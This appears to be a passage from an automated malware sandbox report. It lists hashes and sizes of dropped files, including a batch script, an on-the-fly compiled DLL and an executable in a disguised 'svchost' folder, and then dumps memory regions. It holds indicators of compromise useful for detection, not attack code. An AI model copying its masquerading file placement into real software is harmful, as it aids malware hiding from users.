        23b83d64338da71704f3d6fbc669edcd32052e7d3b5f6c2ee92c5749a4bed8d0

        SHA512

        3b9c0ea6e244873ccdb8e34ee83e706bdcda2b9df3763d0e7d465b799f9b92bbffd93c9a5b48d5bda5ef18a3c72f0e5cd9b3957f832361053468ca93bfb657e9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        215fa5932830c64a7049274a3716ba58

        SHA1

        19b3835fe5674c620bbac144e3b042fa89c54070

        SHA256

        7fcdd9641321e0b0fc76cab08a789125783bbe07d752ca14bc6184c4fd381986

        SHA512

        5a04070b08d0e459949190d8238684e0b2b8a5b7cad16041724e8913b6591944abfb535f849d17d0714c2f9a34910ac8147100978848061fd83600e4b9eb1803

      • C:\Users\Admin\AppData\Local\Temp\RES90F5.tmp

        Filesize

        1KB

        MD5

        1a9ac37b9844d17eaea785b1bfc2d9b4

        SHA1

        a78078cf9d18170c5ae3e97e763df99e58f7642d

        SHA256

        ba42875a1aec294013f16540c1ae6325efedbf50d18879e9de36fd7421bac72d

        SHA512

        0f29c378c9ba190e0271d8a2afec45f175491dab775480c136aa3f78e292a03e7787c852d04a8e549369b1ecb7a4107b3ff8a9042ea22de480920082b7b77afa

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ti2g34gu.ygb.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\c.bat

        Filesize

        269KB

        MD5

        39deca1fb15765418419fce7b403616c

        SHA1

        e5cbb0a8b87788c35805327422e5bbb86fe68e7b

        SHA256

        6efe42275d533302ad3166470f6b72867fa8f62285df8ec7d446dd80ac2a23b0

        SHA512

        922a7d1c4b52aa42b82f0ef316b6e19dcd9e97e766c043404f76dd727c46ef90a14f60426fc737d9f8adfb974ba266d44688934b4a5e8fea7912afc976381deb

      • C:\Users\Admin\AppData\Local\Temp\yo4fh4jk\yo4fh4jk.dll

        Filesize

        4KB

        MD5

        a51f8e878ccc6c4ee9aef457fed15b44

        SHA1

        2cdfde0cfb83a3288c4850efbe3268ce4697991a

        SHA256

        4cb61d0b19e01729e9a56fe0c97f5c3284454f0079f20e8f02faac97c600c277

        SHA512

        bad2d7ca66a92fc7f6cdb55890ac484d3a26076e434fff40e50174a7d40aa5eea4e457de31262c6a132f1dd61d8d9df10dbe09b2bbf64d53bc51fe0315e48fb8

      • C:\Users\Admin\AppData\Roaming\svchost\Chromesa.exe

        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

      • C:\windows\temp\201iw2pa.inf

        Filesize

        663B

        MD5

        27581dbbe3c3840ce72f99c21071898a

        SHA1

        898afeb9523df9367c74a01c0dbecf6b637f3cb1

        SHA256

        c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

        SHA512

        0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

      • \??\c:\Users\Admin\AppData\Local\Temp\yo4fh4jk\CSCBE11CDA968A74F3FAED0B4269BA7DED9.TMP

        Filesize

        652B

        MD5

        93b852b115c65828704efbc75b513bcb

        SHA1

        328f18789ae7bf60a915e9077d6e57bf52e3f07f

        SHA256

        8026b74bcb3abb4568df489d7ec8d339c7726ce7a5cc887af2d8f57139371e05

        SHA512

        2ba43fee0fb54d56858b3543f01a2f51fd57cf9fdefe8ac8aa3b47aa4acba3f3033b918b9c8502d824298c98a865e277fb78ea89068002c4d74b468913c71608

      • \??\c:\Users\Admin\AppData\Local\Temp\yo4fh4jk\yo4fh4jk.0.cs

        Filesize

        2KB

        MD5

        b8106096972fb511e0cf8b99386ecf93

        SHA1

        3003ba3a3681ba16d124d5b2305e6cc59af79b44

        SHA256

        49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

        SHA512

        218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

      • \??\c:\Users\Admin\AppData\Local\Temp\yo4fh4jk\yo4fh4jk.cmdline

        Filesize

        369B

        MD5

        da9a3f626aeb19940eef51e92efe064a

        SHA1

        4bd0616daaf73fc83879889e1aec43b317c1e048

        SHA256

        e6cfa5f82bce8628c9cebf2785f946aaf36d2dcf29cd931a3b9fa63bb3076c62

        SHA512

        1d822292f1c3974347e6bad8243f86197f9e4b1efabd52ec8477ba3faad9cc9de8b538d87bff876958ca1d46879f42879bf24b01324288cd614e3ad827fa38f5

      • memory/972-59-0x00000000057B0000-0x0000000005816000-memory.dmp

        Filesize

        408KB

      • memory/972-76-0x0000000070F90000-0x0000000070FDC000-memory.dmp

        Filesize

        304KB

      • memory/972-105-0x0000000008A60000-0x0000000008A9C000-memory.dmp

        Filesize

        240KB

      • memory/972-104-0x0000000008A00000-0x0000000008A12000-memory.dmp

        Filesize

        72KB

      • memory/972-103-0x0000000007F00000-0x0000000007F92000-memory.dmp

        Filesize

        584KB

      • memory/972-102-0x0000000007E00000-0x0000000007E5E000-memory.dmp

        Filesize

        376KB

      • memory/972-99-0x00000000083B0000-0x0000000008954000-memory.dmp

        Filesize

        5.6MB

      • memory/972-55-0x00000000049F0000-0x0000000004A26000-memory.dmp

        Filesize

        216KB

      • memory/972-56-0x0000000005110000-0x0000000005738000-memory.dmp

        Filesize

        6.2MB

      • memory/972-57-0x0000000004EC0000-0x0000000004EE2000-memory.dmp

        Filesize

        136KB

      • memory/972-58-0x0000000005060000-0x00000000050C6000-memory.dmp

        Filesize

        408KB

      • memory/972-98-0x00000000073F0000-0x0000000007424000-memory.dmp

        Filesize

        208KB

      • memory/972-69-0x0000000005860000-0x0000000005BB4000-memory.dmp

        Filesize

        3.3MB

      • memory/972-97-0x0000000004D50000-0x0000000004D58000-memory.dmp

        Filesize

        32KB

      • memory/972-71-0x0000000005D90000-0x0000000005DAE000-memory.dmp

        Filesize

        120KB

      • memory/972-72-0x0000000005DE0000-0x0000000005E2C000-memory.dmp

        Filesize

        304KB

      • memory/972-73-0x00000000076E0000-0x0000000007D5A000-memory.dmp

        Filesize

        6.5MB

      • memory/972-74-0x0000000006E80000-0x0000000006E9A000-memory.dmp

        Filesize

        104KB

      • memory/972-75-0x0000000007460000-0x0000000007492000-memory.dmp

        Filesize

        200KB

      • memory/972-95-0x0000000007660000-0x0000000007668000-memory.dmp

        Filesize

        32KB

      • memory/972-77-0x0000000071140000-0x0000000071494000-memory.dmp

        Filesize

        3.3MB

      • memory/972-87-0x00000000074A0000-0x00000000074BE000-memory.dmp

        Filesize

        120KB

      • memory/972-88-0x00000000074D0000-0x0000000007573000-memory.dmp

        Filesize

        652KB

      • memory/972-89-0x00000000075D0000-0x00000000075DA000-memory.dmp

        Filesize

        40KB

      • memory/972-90-0x0000000007D60000-0x0000000007DF6000-memory.dmp

        Filesize

        600KB

      • memory/972-91-0x00000000075E0000-0x00000000075F1000-memory.dmp

        Filesize

        68KB

      • memory/972-92-0x0000000007610000-0x000000000761E000-memory.dmp

        Filesize

        56KB

      • memory/972-93-0x0000000007630000-0x0000000007644000-memory.dmp

        Filesize

        80KB

      • memory/972-94-0x0000000007670000-0x000000000768A000-memory.dmp

        Filesize

        104KB

      • memory/2760-30-0x000002091A790000-0x000002091A798000-memory.dmp

        Filesize

        32KB

      • memory/2760-14-0x000002097E560000-0x000002097E582000-memory.dmp

        Filesize

        136KB

      • memory/2760-15-0x00007FFEBA400000-0x00007FFEBAEC1000-memory.dmp

        Filesize

        10.8MB

      • memory/2760-52-0x00007FFEBA400000-0x00007FFEBAEC1000-memory.dmp

        Filesize

        10.8MB

      • memory/2760-16-0x00007FFEBA400000-0x00007FFEBAEC1000-memory.dmp

        Filesize

        10.8MB

      • memory/2760-17-0x000002097E500000-0x000002097E51C000-memory.dmp

        Filesize

        112KB

      • memory/2760-48-0x00007FFEBA400000-0x00007FFEBAEC1000-memory.dmp

        Filesize

        10.8MB

      • memory/2760-47-0x00007FFEBA403000-0x00007FFEBA405000-memory.dmp

        Filesize

        8KB

      • memory/2760-4-0x00007FFEBA403000-0x00007FFEBA405000-memory.dmp

        Filesize

        8KB